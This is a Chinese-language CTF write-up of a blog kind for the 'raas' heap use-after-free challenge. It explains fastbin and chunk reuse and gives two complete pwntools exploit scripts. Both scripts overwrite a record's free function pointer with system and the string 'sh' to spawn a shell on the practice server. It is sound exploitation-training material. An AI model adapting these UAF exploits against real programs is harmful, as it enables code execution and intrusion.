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26 篇文章 0 订阅
订阅专栏

继续做题，之前一直对堆不是很熟，这次特地做一道堆的题来练手

首先题目给了提示，是一道UAF

可以看到，有3个操作，一个是新建，一个是删除，一个是展示
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删除和展示如上，新建的代码太长，我就简述下功能吧

1.选择类型，数字还是字符串 
2.如果是字符串，要输入长度 
3.输入内容

内存的操作是，先new了一个大小为12的堆，前8位放的是用于展示的函数指针和用于删除的函数指针 
如果是输入数字，那么最后那4位就是用于存放数字 
如果是输入字符，那么再new一个指定长度的堆，该堆的指针放在最后那4位

简述完功能，我们来讲怎么做

因为是uaf，所以肯定要用展示和删除其中一个，展示这里pass，因为修改了展示的函数指针之后，传入的参数是堆的地址，这
里明显不行。

那么只能改删除，我选择的是把删除的指针改成system的地址，但是这里参数只能写3个字节长度的字符串，因为中间4位要放
调用的函数指针，一个字符串要以00结尾，写/bin/sh太长，只能写sh了

//话说其实我是想用echo2那个套路，用libc里面的magic值，一发get shell，但是实际尝试之后发现并不行

那么知道写哪里，写什么之后，之后就是怎么写了。

这里有好几个思路，但是都是大同小异。

一、 
1. new 两个record，delete掉，这里的record类型随意，但是字符的要注意新new的长度不要等于12 
2. new一个字符串类型的record，长度为12，假设new的两个record是0、1，删除的顺序是0、1，那么这个时候在fast bin的链表
里面是 1->0 ，new一个record，存函数指针那个堆复用了1的堆，用来存内容的那个堆是用了0的堆 
3. 我们往0那个堆里面写我们想要的东西，再删除0的record，这样就能get 到shell

二、 
1. new两个字符的record，长度大于fastbin的范围，又属于small bin的范围，然后delete掉 
new完之后堆的内存如下 
| 0 | size 0x10 
| 1 | size 0x70 
| 2 | size 0x10 
| 3 | size 0x70

这里其实我有个疑问。。为什么malloc(0xc)这里大小是0x10，malloc(0x68) 这里大小是0x70，一个+4，一个+8。。。。（有可
能是fast bin和small bin不同，之后再慢慢研究。。。。



delete 完两个之后，前两个堆合并了，然后最后那个0x70和top chunk合并了，所以最后剩下大小为0x80、0x10的两个堆

2.new 一个字符的record，长度为0x78，这个时候写入的位置就是第0个record的函数指针所在的那个堆 
3.接下来的思路就跟一 一样了

其实我本来还有一个骚操作的思路，就是上面提到的一发get shell，为了实现一发get shell，这里可以修改record[i]+8的值，然后
利用他的printf函数泄漏libc地址，再推算出magic addr，一发get shell，但是实际上试了并不行，可能是函数传递约束的不同导
致的吧。。。

payload1

from pwn import *
import time

debug=1
if debug:
    p=process('./raas')
else:
    p=remote('hackme.inndy.tw', 7719)

def new_record(index,length,content):
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(length))
    p.recvuntil('Value > ')
    if(len(content)<length):
        p.sendline(content)
    else:
        p.sendline(content[:-2])
    p.recvuntil('Act > ')

def del_record(index):
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Act > ')

def show_record(index,get):
    p.sendline('3')
    p.recvuntil('Index >')
    p.sendline(str(index))
    if(get):
        p.recvuntil('Value=')
        data=p.recvuntil(')')
        return data
    p.recvuntil('Act > ')

#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'
new_record(0,20,'0000')
new_record(1,20,'1111')

del_record(0)



payload2

del_record(1)

system_addr=0x80484F0 
rec_printf=0x80486BE
rec_free=0x8048705
puts_addr=0x80484E0

new_record(2,12,'sh'+'\x00'*2+p32(system_addr))

p.sendline('2')
p.sendline('0')

p.interactive()

from pwn import *
import time

debug=1
if debug:
    p=process('./raas')
else:
    p=remote('hackme.inndy.tw', 7719)

def new_record(index,length,content):
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(length))
    p.recvuntil('Value > ')
    if(len(content)<length):
        p.sendline(content)
    else:
        p.sendline(content[:-2])
    p.recvuntil('Act > ')

def del_record(index):
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Act > ')

def show_record(index,get):
    p.sendline('3')
    p.recvuntil('Index >')
    p.sendline(str(index))
    if(get):
        p.recvuntil('Value=')
        data=p.recvuntil(')')
        return data
    p.recvuntil('Act > ')
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#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'
new_record(0,104,'0000')
new_record(1,104,'1111')

del_record(0)
del_record(1)

system_addr=0x80484F0 
rec_printf=0x80486BE
rec_free=0x8048705
puts_addr=0x80484E0

new_record(2,104+16,'sh'+'\x00'*2+p32(system_addr))

p.sendline('2')
p.sendline('0')

p.interactive()
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